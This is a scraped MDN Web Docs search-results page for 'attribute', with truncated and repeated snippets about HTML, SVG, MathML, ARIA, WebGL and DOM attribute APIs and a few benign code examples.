attribute of the element. for more information, see the autocomplete
attribute in <form>. in order to provide autocompletion, user-agents might require <input>/<select>/<textarea> elements to: have ...
...it is possible that the document or application provides its own autocomplete feature, or that security concerns require that the field's value not be automatically entered. ...
...And 4 more matches
MathML attribute reference - MathML
this is an alphabetical list of mathml
attributes. more details for each
attribute are available on particular element pages. notes: the mathml <mstyle> and <math> elements accept all
attributes of all mathml presentation elements. see values for notes on values and units in mathml. the
attributes background, color, fontfamily, fontsize, fontstyle, fontweight and xlink:href are deprecated. the xlink
attributes on mathml elements: xlink:actuate, xlink:href, xlink:show and xlink:type are deprecated as well. name elements accepting
attribute description accent <mo>, <mover>, <munderover> a boolean value specifying whether the operator should be treated as an accent. accentunder <munder>, <munderover> a boolean value specifying whether the ope...
... non-negative integer value that indicates over how many table columns the cell extends. unimplemented columnwidth <mtable> specifies the width of table columns. unimplemented crossout <mscarry> specifies what kind of line is drawn to cross out carries. unimplemented decimalpoint <mstyle> if the decimalpoint value is used to specify the alignment, this
attribute is specifying the character for the alignment point within <mstack> and <mtable> columns. denomalign <mfrac> the alignment of the denominator under the fraction. depth <mpadded> sets or increments the depth. see length. dir <math>, <mi>, <mo>, <mrow>, <ms>, <mtext> the text direction. possible values are either ltr (left to right) or rtl (right to le...
...plemented equalcolumns <mtable> a boolean value indicating whether to force all columns to have the same total height. unimplemented equalrows <mtable> a boolean value indicating whether to force all rows to have the same total height. fence <mo> a boolean value specifying whether the operator is a fence (such as parentheses). there is no visual effect for this
attribute. unimplemented form <mo> specifies the role of the operator in an enclosed expression. frame <mtable> specifies borders of an entire <mtable>. possible values are: none (default), solid and dashed. framespacing <mtable> specifies additional space added between the table and frame. unimplemented groupalign <maligngroup>, <mtable>, <mtd>, <mt...
...And 4 more matches
SVG Event Attributes - SVG: Scalable Vector Graphics
event
attributes always have their name starting with "on" followed by the name of the event for which they are intended. they specifies some script to run when the event of the given type is dispatched to the element on which the
attributes are specified. for every event type that the browser supports, svg supports that as an event
attribute, following the same requirements as for html event
attributes. the global event
attributes are available on all svg elements. other event
attributes are available on a case by case basis for each elements. all event
attribute are not animatable. ...
...patched to the element on which the
attributes are specified. for every event type that the browser supports, svg supports that as an event
attribute, following the same requirements as for html event
attributes. the global event
attributes are available on all svg elements. other event
attributes are available on a case by case basis for each elements. all event
attribute are not animatable. ...
...ich the
attributes are specified. for every event type that the browser supports, svg supports that as an event
attribute, following the same requirements as for html event
attributes. the global event
attributes are available on all svg elements. other event
attributes are available on a case by case basis for each elements. all event
attribute are not animatable. ...
...And 4 more matches
SVGFilterPrimitiveStandardAttributes - Web APIs
the svgfilterprimitivestandard
attributes interface defines the set of dom
attributes that are common across the filter primitive interfaces. ...
...ross the filter primitive interfaces. ...
...00 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfilterprimitivestandard
attributes" target="_top"><rect x="1" y="1" width="360" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfilterprimitivestandard
attributes</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgfilterprimitivestandard
attributes.x read only an svganimatedlength corresponding to the x
attribute of the given element. ...
...And 3 more matches
WebGLRenderingContext.getContextAttributes() - Web APIs
the webglrenderingcontext.getcontext
attributes() method returns a webglcontext
attributes object that contains the actual context parameters. might return null, if the context is lost. syntax gl.getcontext
attributes(); return value a webglcontext
attributes object that contains the actual context parameters, or null if the context is lost. ...
...ht return null, if the context is lost. syntax gl.getcontext
attributes(); return value a webglcontext
attributes object that contains the actual context parameters, or null if the context is lost. ...
... is lost. syntax gl.getcontext
attributes(); return value a webglcontext
attributes object that contains the actual context parameters, or null if the context is lost. ...
...And 3 more matches
Using the aria-valuenow attribute - Accessibility
for example, a slider may have rendered values of small, medium, and large. ...
...for example, a slider may have rendered values of small, medium, and large. ...
...for example, a slider may have rendered values of small, medium, and large. ...
...And 3 more matches
Element.setAttributeNodeNS() - Web APIs
set
attributenodens adds a new namespaced
attribute node to an element. syntax replacedattr = element.set
attributenodens(
attributenode) replacedattr is the replaced
attribute node, if any, returned by this function.
attributenode is an attr node. ...
...ced
attribute node, if any, returned by this function.
attributenode is an attr node. example // <div id="one" xmlns:myns="http://www.mozilla.org/ns/specialspace" // myns:special-align="utterleft">one</div> // <div id="two">two</div> var myns = "http://www.mozilla.org/ns/specialspace"; var d1 = document.getelementbyid("one"); var d2 = document.getelementbyid("two"); var a = d1.get
attributenodens(myns, "special-align"); d2.set
attributenodens(a.clonenode(true)); alert(d2.
attributes[1].value) // returns: `utterleft' notes if the specified
attribute already exists on the element, then that
attribute is replaced with the new one and the replaced one is returned. ...
...("two"); var a = d1.get
attributenodens(myns, "special-align"); d2.set
attributenodens(a.clonenode(true)); alert(d2.
attributes[1].value) // returns: `utterleft' notes if the specified
attribute already exists on the element, then that
attribute is replaced with the new one and the replaced one is returned. note that if you try to set without cloning the node, mozilla gives an ns_error_dom_inuse_
attribute_err "
attribute already in use" error, as the dom requires cloning for attr to be reused (unlike other nodes which can be moved). ...
...And 2 more matches
Using the aria-required attribute - Accessibility
note: opinions may differ on how assistive technology should handle this technique. ...
... note: opinions may differ on how assistive technology should handle this technique. ...
... note: opinions may differ on how assistive technology should handle this technique. ...
...And 2 more matches
SVG Core Attributes - SVG: Scalable Vector Graphics
the svg core
attributes are all the common
attributes that can be specified on any svg element. id lang tabindex xml:base xml:lang xml:space
attributes id defines a unique identifier (id) which must be unique in the whole document. its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with css). value: any valid id string; animatable: no lang participates in defining the language of the element, the language that non-editable elements are written in or the language that editable elements should be written in. the tag contains one single entry value in the format defined in the tags for identifying languages (bcp47) ietf document. svg 2 introduce the new lang
attributes. ...
... id string; animatable: no lang participates in defining the language of the element, the language that non-editable elements are written in or the language that editable elements should be written in. the tag contains one single entry value in the format defined in the tags for identifying languages (bcp47) ietf document. svg 2 introduce the new lang
attributes. if both lang and xml:lang
attribute are used, xml:lang has priority over lang. value: any valid language id; animatable: no tabindex the tabindex svg
attribute allows you to control whether an element is focusable and to define the relative order of the element for the purposes of sequential focus navigation. value type: <integer>; animatable: no xml:base specifies a base iri other than the base iri of the document. val...
...id language id; animatable: no tabindex the tabindex svg
attribute allows you to control whether an element is focusable and to define the relative order of the element for the purposes of sequential focus navigation. value type: <integer>; animatable: no xml:base specifies a base iri other than the base iri of the document. value type: <iri>; animatable: no xml:lang it is a universal
attribute allowed in all xml dialects to mark up the natural human language that an element contains. it's almost identical in usage to html's lang, but in conforming xml 1.0 documents, it does not allow the use of a null
attribute value (xml:lang="") to indicate an unknown language. instead, use xml:lang="und". ...
...And 2 more matches
JS_GetPropertyAttributes
obsolete since jsapi 26this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. get the
attributes of a specified property. syntax jsbool js_getproperty
attributes(jscontext *cx, jsobject *obj, const char *name, unsigned int *attrsp, jsbool *foundp); jsbool js_getucproperty
attributes(jscontext *cx, jsobject *obj, const jschar *name, size_t namelen, unsigned int *attrsp, jsbool *foundp); name type description cx jscontext * the context in which to look up property
attributes. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * the object that has the property to be queried. ...
...*foundp); name type description cx jscontext * the context in which to look up property
attributes. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * the object that has the property to be queried. name const char * or const jschar * name of the property from which to retrieve
attributes. namelen size_t (only in js_getucproperty
attributes) the length of name in characters; or (size_t) -1 to indicate that name is null-terminated. attrsp unsigned int * out parameter. if the specified property is found on obj, *attrsp receives its
attributes. foundp jsbool * out parameter. if no error occurs, *foundp receives js_true if the specified pro...
...null-terminated. attrsp unsigned int * out parameter. if the specified property is found on obj, *attrsp receives its
attributes. foundp jsbool * out parameter. if no error occurs, *foundp receives js_true if the specified property is found and js_false if it is not found. if an error occurs, the value left in *foundp is unspecified. description js_getproperty
attributes retrieves the property
attributes of the property with the given name on a given object, obj. js_getucproperty
attributes is the unicode version of the function. if an error occurs, the return value is js_false, and the values left in *attrsp and *foundp are unspecified. if obj does not have the specified property, or if it inherits it from some other object (on its prototype chain, for example...
...obj does not have the specified property, or if it inherits it from some other object (on its prototype chain, for example), then *foundp is set to js_false. the value left in *attrsp is unspecified. the return value is js_true (to indicate that no error occurred). if the property exists and belongs to obj, then *foundp is set to js_true, *attrsp is set to the logical or of zero or more property
attributes flags, and the function returns js_true. see also property
attributes bug 893186 ...
Element.getAttribute() - Web APIs
the get
attribute() method of the element interface returns the value of a specified
attribute on the element. if the given
attribute does not exist, the value returned will either be null or "" (the empty string); see non-existing
attributes for details. syntax let
attribute = element.get
attribute(
attributename); where
attribute is a string containing the value of
attributename.
attributename is the name of the
attribute whose value you want to get. examples const div1 = document.getelementbyid('div1'); const align = div1.get
attribute('align'); alert(align); // shows the value of align for the element with id="div1" description lower casing when called on an html element in a dom flagged as an html document, get
attribute() lower-cases its argument before proceeding. non-existing at...
...e value of align for the element with id="div1" description lower casing when called on an html element in a dom flagged as an html document, get
attribute() lower-cases its argument before proceeding. non-existing
attributes essentially all web browsers (firefox, internet explorer, recent versions of opera, safari, konqueror, and icab, as a non-exhaustive list) return null when the specified
attribute does not exist on the specified element; this is what the current dom specification draft specifies. ...
... konqueror, and icab, as a non-exhaustive list) return null when the specified
attribute does not exist on the specified element; this is what the current dom specification draft specifies. the old dom 3 core specification, on the other hand, says that the correct return value in this case is actually the empty string, and some dom implementations implement this behavior. the implementation of get
attribute() in xul (gecko) actually follows the dom 3 core specification and returns an empty string. consequently, you should use element.has
attribute() to check for an
attribute's existence prior to calling get
attribute() if it is possible that the requested
attribute does not exist on the specified element. retrieving nonce values for security reasons, csp nonces from non-script sources, such as css s...
...ctually follows the dom 3 core specification and returns an empty string. consequently, you should use element.has
attribute() to check for an
attribute's existence prior to calling get
attribute() if it is possible that the requested
attribute does not exist on the specified element. retrieving nonce values for security reasons, csp nonces from non-script sources, such as css selectors, and .get
attribute("nonce") calls are hidden. let nonce = script.get
attribute('nonce'); // returns empty string instead of retrieving the nonce from the content
attribute, use the nonce property: let nonce = script.nonce; specifications specification status comment domthe definition of 'get
attribute()' in that specification. living standard ...
Element.getAttributeNode() - Web APIs
returns the specified
attribute of the specified element, as an attr node. syntax var attrnode = element.get
attributenode(attrname); attrnode is an attr node for the
attribute. attrname is a string containing the name of the
attribute. example // html: <div id="top" /> let t = document.getelementbyid("top"); let idattr = t.get
attributenode("id"); alert(idattr.value == "top") notes when called on an html element in a dom flagged as an html document, get
attributenode lower-cases its argument before proceeding. the attr node inherits from node, but is not considered a part of the document tree. common node
attributes like parentnode, previoussibling, and nextsibling are null for an attr node. ...
...lert(idattr.value == "top") notes when called on an html element in a dom flagged as an html document, get
attributenode lower-cases its argument before proceeding. the attr node inherits from node, but is not considered a part of the document tree. common node
attributes like parentnode, previoussibling, and nextsibling are null for an attr node. you can, however, get the element to which the
attribute belongs with the ownerelement property. get
attribute is usually used instead of get
attributenode to get the value of an element's
attribute. ...
...ts from node, but is not considered a part of the document tree. common node
attributes like parentnode, previoussibling, and nextsibling are null for an attr node. you can, however, get the element to which the
attribute belongs with the ownerelement property. get
attribute is usually used instead of get
attributenode to get the value of an element's
attribute. ...
...ttribute is usually used instead of get
attributenode to get the value of an element's
attribute. dom methods dealing with element's
attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) set
attribute (dom 1) set
attributens set
attributenode set
attributenodens get
attribute (dom 1) get
attributens get
attributenode get
attributenodens has
attribute (dom 2) has
attributens - - remove
attribute (dom 1) remove
attributens remove
attributenode - specifications specification status comment domthe definition of 'get
attributenode()' in that specification. living standard ...
Element.removeAttributeNode() - Web APIs
the remove
attributenode() method of the element object removes the specified
attribute from the current element. syntax removedattr = element.remove
attributenode(
attributenode)
attributenode is the attr node that needs to be removed. removedattr is the removed attr node. example // given: <div id="top" align="center" /> var d = document.getelementbyid("top"); var d_align = d.get
attributenode("align"); d.remove
attributenode(d_align); // align is now removed: <div id="top" /> notes if the removed
attribute has a default value, it is immediately replaced. the replacing
attribute has the same namespace uri and local name, as well as the original prefix, when applicable. ...
...="top" align="center" /> var d = document.getelementbyid("top"); var d_align = d.get
attributenode("align"); d.remove
attributenode(d_align); // align is now removed: <div id="top" /> notes if the removed
attribute has a default value, it is immediately replaced. the replacing
attribute has the same namespace uri and local name, as well as the original prefix, when applicable. there is no remove
attributenodens method; the remove
attributenode method can remove both namespaced
attributes and non-namespaced
attributes. ...
...ved: <div id="top" /> notes if the removed
attribute has a default value, it is immediately replaced. the replacing
attribute has the same namespace uri and local name, as well as the original prefix, when applicable. there is no remove
attributenodens method; the remove
attributenode method can remove both namespaced
attributes and non-namespaced
attributes. ...
... remove
attributenode method can remove both namespaced
attributes and non-namespaced
attributes. dom methods dealing with element's
attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) set
attribute (dom 1) set
attributens set
attributenode set
attributenodens get
attribute (dom 1) get
attributens get
attributenode get
attributenodens has
attribute (dom 2) has
attributens - - remove
attribute (dom 1) remove
attributens remove
attributenode - specifications specification status comment domthe definition of 'element: remove
attributenode' in that specification. liv...
Element.setAttributeNode() - Web APIs
the set
attributenode() method adds a new attr node to the specified element. syntax var replacedattr = element.set
attributenode(
attribute);
attribute is the attr node to set on the element. replacedattr is the replaced
attribute node, if any, returned by this function. example this example copies the align
attribute from one element to another. html <div id="one" align="left">one</div> <div id="two">two</div> javascript let d1 = document.getelementbyid('one'); let d2 = document.getelementbyid('two'); let a = d1.get
attributenode('align'); d2.set
attributenode(a.clonenode(true)); // returns: 'left' alert(d2.
attributes[1].value); notes if the
attribute named already exists on the element, that
attribute is replaced with the new one and the replaced one is returned. this method is s...
... let d1 = document.getelementbyid('one'); let d2 = document.getelementbyid('two'); let a = d1.get
attributenode('align'); d2.set
attributenode(a.clonenode(true)); // returns: 'left' alert(d2.
attributes[1].value); notes if the
attribute named already exists on the element, that
attribute is replaced with the new one and the replaced one is returned. this method is seldom used, with element.set
attribute() usually being used to change element's
attributes. ...
...ttributenode('align'); d2.set
attributenode(a.clonenode(true)); // returns: 'left' alert(d2.
attributes[1].value); notes if the
attribute named already exists on the element, that
attribute is replaced with the new one and the replaced one is returned. this method is seldom used, with element.set
attribute() usually being used to change element's
attributes. ...
...d is seldom used, with element.set
attribute() usually being used to change element's
attributes. dom methods dealing with element's
attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) set
attribute (dom 1) set
attributens set
attributenode set
attributenodens get
attribute (dom 1) get
attributens get
attributenode get
attributenodens has
attribute (dom 2) has
attributens - - remove
attribute (dom 1) remove
attributens remove
attributenode - specifications specification status comment domthe definition of 'set
attributenode()' in that specification. living standard ...
Hello vertex attributes - Web APIs
« previousnext » this webgl example demonstrates how to combine shader programming and user interaction by sending user input to the shader using vertex
attributes. hello world program in glsl how to send input to a shader program by saving data in gpu memory. <p>first encounter with
attributes and sending data to gpu. click on the canvas to change the horizontal position of the square.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 pr...
... browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 precision highp float;
attribute float position; void main() { gl_position = vec4(position, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 precision mediump float; void main() { gl_fragcolor = vec4(0.18, 0.54, 0.34, 1.0); } </script> ;(function(){ "use strict" window.addeventlistener("load", setupwebgl, false); var gl, program; function setu...
...); gl.detachshader(program, fragmentshader); gl.deleteshader(vertexshader); gl.deleteshader(fragmentshader); if (!gl.getprogramparameter(program, gl.link_status)) { var linkerrlog = gl.getprograminfolog(program); cleanup(); document.queryselector("p").innerhtml = "shader program did not link successfully. ...
... var clickxrelativtocanvas = evt.pagex - evt.target.offsetleft; var clickxinwebglcoords = 2.0 * (clickxrelativtocanvas- gl.drawingbufferwidth/2) / gl.drawingbufferwidth; gl.bufferdata(gl.array_buffer, new float32array([clickxinwebglcoords]), gl.static_draw); gl.drawarrays(gl.points, 0, 1); }, false); } var buffer; function initialize
attributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array([0.0]), gl.static_draw); gl.vertexattribpointer(0, 1, gl.float, false, 0, 0); } window.addeventlistener("beforeunload", cleanup, true); function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program...
Using the aria-describedby attribute - Accessibility
description the aria-describedby
attribute is used to indicate the ids of the elements that describe the object. it is used to establish a relationship between widgets or groups and text that described them. this is very similar to aria-labelledby: a label describes the essence of an object, while a description provides more information that the user might need. the aria-describedby
attribute is not used only for form elements; it is also used to associate static text with widgets, groups of elements, panes, regions that have a heading, definitions, and more. the examples section below provides more information about how to use the
attribute in these cases. this
attribute can be used with any typical html form element; it is not limited to elements that have an aria role assigned. value...
...a-labelledby="calendar" aria-describedby="info"> <h1 id="calendar">calendar</h1> <p id="info"> this calendar shows the game schedule for the boston red sox. </p> <div role="grid"> ... </div> </div> example 2: a close button in the example below, a link that functions as a 'close' button on a dialog is described elsewhere in the document. the aria-describedby
attribute is used to associate the description with the link. <button aria-label="close" aria-describedby="descriptionclose" onclick="mydialog.close()">x</button> ... <div id="descriptionclose">closing this window will discard any information entered and return you back to the main page</div> working examples: checkbox example uses aria-describedby tooltip example uses aria-describedby notes...
...description with the link. <button aria-label="close" aria-describedby="descriptionclose" onclick="mydialog.close()">x</button> ... ...
...iv> working examples: checkbox example uses aria-describedby tooltip example uses aria-describedby notes the aria-describedby
attributed is not designed to reference descriptions on an external resource—since it is an id, it must reference an element in the same dom document. ...
Using the aria-valuetext attribute - Accessibility
the aria-valuetext
attribute is used to define the human readable text alternative of aria-valuenow for a range widget such as progressbar, spinbutton or slider. authors should only set the aria-valuetext
attribute when the rendered value cannot be accurately represented as a number. for example, a slider may have rendered values of small, medium, and large. in this case, the values of aria-valuenow could range from 1 through 3, which indicate the position of each value in the value space, but thearia-valuetext would be one of the strings: small, medium, or large. ...
...e, a slider may have rendered values of small, medium, and large. in this case, the values of aria-valuenow could range from 1 through 3, which indicate the position of each value in the value space, but thearia-valuetext would be one of the strings: small, medium, or large. value string representation of a number possible effects on user agents and assistive technology if the aria-valuetext
attribute is absent, assistive technologies will rely solely on the aria-valuenow
attribute for the current value. if aria-valuetext is specified, assistive technologies should render that value instead of the value of aria-valuenow. note: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. exam...
...hnologies should render that value instead of the value of aria-valuenow. note: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples example 1: the snippet below shows a simple slider for selecting a day of the week. the value of the slider is numeric, and the aria-valuetext
attribute is used to provide the name of the day. the application would programmatically update aria-valuetext depending on aria-valuenow. <div role="slider" aria-valuenow="1" aria-valuemin="1" aria-valuemax="7" aria-valuetext="sunday"> working examples: notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuenow compatibility tbd: add sup...
... <div role="slider" aria-valuenow="1" aria-valuemin="1" aria-valuemax="7" aria-valuetext="sunday"> working examples: notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuenow compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuetext
attribute ...
HTML attribute: min - HTML: Hypertext Markup Language
the min
attribute defines the minimum value that is acceptable and valid for the input containing the
attribute. if the value of the element is less than this, the element fails constraint validation. this value must be less than or equal to the value of the max
attribute. if a value is specified for min that isn't a valid number, the input has no minimum value. valid for the numeric input types, including the date, month, week, time, datetime-local, number and range types, and the <meter> element, the min
attribute is a number that specifies the most negative value a form control to be considered valid. syntax if any is not explicity set, valid values for the number, date/time input types, and range input types are equal to the basis for stepping - the min value and increments of the ...
...mber" min="0" step="5" max="100"> range <number> <input type="range" min="60" step="5" max="100"> note: when the data entered by the user doesn't adhere to the min value set, the value is considered invalid in contraint validation and will match the :invalid pseudoclass see client-side validation and rangeunderflow for more information. for the <meter> element, the min
attribute defines the lower numeric bound of the measured range. this must be less than the minimum value (max
attribute), if specified. in both cases, if omitted, the value defaults to 1. syntax for min values for other elements input type syntax example <meter> <number> <meter id="fuel" min="0" max="100" low="33" high="66" optimum="80" value="40"> at 40/100</meter> ...
... <input id="mynumber" name="mynumber" type="number" min="7.2" value="8"> because step defaults to 1, valid values include 7.2, 8.2, 9.2, and so on. ...
... <input id="mynumber" name="mynumber" type="number" min="7.2" value="8"> because step defaults to 1, valid values include 7.2, 8.2, 9.2, and so on. the value 8 is not valid. ...
HTML attribute: size - HTML: Hypertext Markup Language
examples by adding size on some input types, the width of the input can be controlled. adding size on a select changes the height, definining how many options are visible in the closed state. ...
... examples by adding size on some input types, the width of the input can be controlled. adding size on a select changes the height, definining how many options are visible in the closed state. ...
... recommendation ...
... recommendation ...
HTML attribute: step - HTML: Hypertext Markup Language
the step sets the stepping interval when clicking up and down spinner buttons, moving a slider left and right on a range, and validating the different date types. if not explicitly included, step defaults to 1 for number and range, and 1 unit type (minute, week, month, day) for the date/time input types. ...
...at, is valid. if omitted, <input type="number">, any integer is valid, but floats, like 4.2, are not valid, as step defaults to 1. for 4.2 to be valid, step would have had to be set to any, 0.1, 0.2, or any the min value would have had to be a number ending in .2, such as <input type="number" min="-5.2"> min impact on step the value of min and step define what are valid values, even if the step
attribute is not included, as step defaults to 0. we add a big red border around invalid inputs: input:invalid { border: solid red 3px; } then define an input with a minimum value of 7.2, omitting the step
attribute, wherein it defaults to 1. <input id="mynumber" name="mynumber" type="number" step="2" min="1.2"> valid values include 1.2, 3.2, 5.2, 7.2, 9.2, 11.2, and so on. integers and even numbers...
...greater note: when the data entered by the user doesn't adhere to the stepping configuration, the value is considered invalid in contraint validation and will match the :invalid and :out-of-range pseudoclasses see client-side validation and stepmismatch for more information. ...
...n, the value is considered invalid in contraint validation and will match the :invalid and :out-of-range pseudoclasses see client-side validation and stepmismatch for more information. specifications specification status comment html living standardthe definition of 'step
attribute' in that specification. living standard html5the definition of 'step
attribute' in that specification. recommendation accessibility concerns provide instructions to help users understand how to complete the form and use individual form controls. indicate any required and optional input, data formats, and other relevant information. when using the min
attribute, ensure this minimum requirement is understood by the user. providing instructions within the <label...
getElementsByAttribute - Archive of obsolete content
note that like most nodelists (but unlike the nodelist returned by queryselectorall), the nodelist returned by this method is live. ...
...note that like most nodelists (but unlike the nodelist returned by queryselectorall), the nodelist returned by this method is live. ...
...note that like most nodelists (but unlike the nodelist returned by queryselectorall), the nodelist returned by this method is live. ...
attribute.align - Archive of obsolete content
you can also specify the value of align using the style property -moz-box-align. parameters start child elements are aligned starting from the left or top edge of the box. if the box is larger than the total size of the children, the extra space is placed on the right or bottom side. ...
...you can also specify the value of align using the style property -moz-box-align. parameters start child elements are aligned starting from the left or top edge of the box. if the box is larger than the total size of the children, the extra space is placed on the right or bottom side. ...
...riented boxes only. it causes the child elements to be aligned so that their text labels are lined up. stretch the child elements are stretched to fit the size of the box. for a horizontal box, the children are stretched to be the height of the box. for a vertical box, the children are stretched to be the width of the box. if the size of the box changes, the children stretch to fit. use the flex
attribute to create elements that stretch in the opposite direction. left: (deprecated) the elements are aligned on their left edges. center: (deprecated) the elements are centered horizontally. right: (deprecated) the elements are aligned on their right edges. ...
Attribute - MDN Web Docs Glossary: Definitions of Web-related terms
an
attribute extends an element, changing its behavior or providing metadata. an
attribute always has the form name="value" (the
attribute's identifier followed by its associated value). you may see
attributes without the equals sign or a value. that is a shorthand for providing the empty string in html, or the
attribute’s name in xml. ...
...te always has the form name="value" (the
attribute's identifier followed by its associated value). you may see
attributes without the equals sign or a value. that is a shorthand for providing the empty string in html, or the
attribute’s name in xml. ...
...identifier followed by its associated value). you may see
attributes without the equals sign or a value. that is a shorthand for providing the empty string in html, or the
attribute’s name in xml. ...
JSObjectOps.getAttributes
s obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. the jsobjectops.get
attributes and set
attributes callbacks are called to access the
attributes of a property. syntax typedef jsbool (*js
attributesop)(jscontext *cx, jsobject *obj, jsid id, jsproperty *prop, unsigned int *attrsp); name type description cx jscontext * pointer to the js context in which the property access is happening. obj jsobject * the object whose propert...
...and set
attributes callbacks are called to access the
attributes of a property. syntax typedef jsbool (*js
attributesop)(jscontext *cx, jsobject *obj, jsid id, jsproperty *prop, unsigned int *attrsp); name type description cx jscontext * pointer to the js context in which the property access is happening. obj jsobject * the object whose property
attributes are being accessed. id jsid the name or index of the property whose
attributes are being accessed. prop jsproperty * the property whose
attributes are being accessed. this may be null. attrsp unsigned int * in/out parameter. see the description section below. description get or set
attributes of the property obj[id]. returns js_false on error ...
...d the name or index of the property whose
attributes are being accessed. prop jsproperty * the property whose
attributes are being accessed. this may be null. attrsp unsigned int * in/out parameter. see the description section below. description get or set
attributes of the property obj[id]. returns js_false on error or exception, else js_true with current
attributes in *attrsp. if prop is non-null, it must come from the *propp out parameter of a prior jsobjectops.defineproperty or jsobjectops.lookupproperty call. for more information on property
attributes, see js_getproperty
attributes. ...
Attributes
« nsiaccessible page summary
attributes of accessible. ...
... « nsiaccessible page summary
attributes of accessible. ...
... « nsiaccessible page summary
attributes of accessible. ...
Document.createAttribute() - Web APIs
the document.create
attribute() method creates a new
attribute node, and returns it. the object created a node implementing the attr interface. the dom does not enforce what sort of
attributes can be added to a particular element in this manner. the string given in parameter is converted to lowercase. syntax
attribute = document.create
attribute(name) parameters name is a string containing the name of the
attribute. return value a attr node. exceptions invalid_character_err if the parameter contains invalid characters for xml
attribute. ...
... manner. the string given in parameter is converted to lowercase. syntax
attribute = document.create
attribute(name) parameters name is a string containing the name of the
attribute. return value a attr node. exceptions invalid_character_err if the parameter contains invalid characters for xml
attribute. example var node = document.getelementbyid("div1"); var a = document.create
attribute("my_attrib"); a.value = "newval"; node.set
attributenode(a); console.log(node.get
attribute("my_attrib")); // "newval" specifications specification status comment domthe definition of 'document.create
attribute()' in that specification. living standard precised behavior with uppercase characters document object model (dom) level 3 core specificationthe defin...
..."newval"; node.set
attributenode(a); console.log(node.get
attribute("my_attrib")); // "newval" specifications specification status comment domthe definition of 'document.create
attribute()' in that specification. living standard precised behavior with uppercase characters document object model (dom) level 3 core specificationthe definition of 'document.create
attribute()' in that specification. obsolete no change. document object model (dom) level 2 core specificationthe definition of 'document.create
attribute()' in that specification. obsolete no change. document object model (dom) level 1 specificationthe definition of 'document.create
attribute()' in that specification. obsolete initial definition. ...
Using the aria-hidden attribute - Accessibility
this technique demonstrates how to use the aria-hidden
attribute. the aria-hidden
attribute can either expose or hide non-interactive content from the accessibility api. description adding aria-hidden="true" to an element removes that element and all of its children from the accessibility tree. this can improve the experience for assistive technology users by hiding: purely decorative content, such as icons or images duplicated content, such as repeated text offscreen or collapsed content, such as menus according to the fourth rule of aria, aria-hidden="true" should not be used on a focusable element. additionally, since this
attribute is inherited by an element's children, it should not be added onto the parent or ancestor of a focusable element. using aria-hidden="false" will not ...
...ing aria-hidden="false" will not re-expose the element to assistive technology if any of its parents specify aria-hidden="true". wai-aria authoring practices 1.1 notes that aria-hidden="false" currently behaves inconsistently across browsers. deciding between aria-hidden="true", role="presentation", and role="none" on the surface, the aria-hidden="true", role="presentation", and role="none"
attributes seem similar because they: hide content from assistive technology cannot be used on a focusable element cannot be used on the parent of an interactive element despite these similarities, the intent behind each
attribute is different. aria-hidden="true" will remove the entire element from the accessibility api. role="presentation" and role="none" will remove the semantic meaning of a...
...is not exposed to the accessibility api (e.g. would not be read aloud by a screen reader). <p aria-hidden="true"> some things are better left unsaid. </p> children elements can be omitted from accessibility apis: <p> this is not hidden <span aria-hidden="true">but this is</span>! </p> accessibility concerns best practices aria-hidden="true" should not be added when: the html hidden
attribute is present the element or the element's ancestor is hidden with display: none the element or the element's ancestor is hidden with visibility: hidden in all three scenarios, the
attribute is unnecessary to add because the element has already been removed from the accessibility tree. specifications see also using the presentation role role="none" ...
Using the aria-label attribute - Accessibility
value string possible effects on user agents and assistive technology note: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples example 1: multiple labels in the example below, a button is styled to look like a typical "close" button, with an x in the middle. ...
... differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples example 1: multiple labels in the example below, a button is styled to look like a typical "close" button, with an x in the middle. since there is nothing indicating that the purpose of the button is to close the dialog, the aria-label
attribute is used to provide the label to any assistive technologies. <button aria-label="close" onclick="mydialog.close()">x</button> notes the most common accessibility api mapping for a label is the accessible name property.
attributes, including aria-label declarations, are ignored by most automatic translation services. used by aria roles all elements of the base markup related aria techn...
... assistive technologies. <button aria-label="close" onclick="mydialog.close()">x</button> notes the most common accessibility api mapping for a label is the accessible name property.
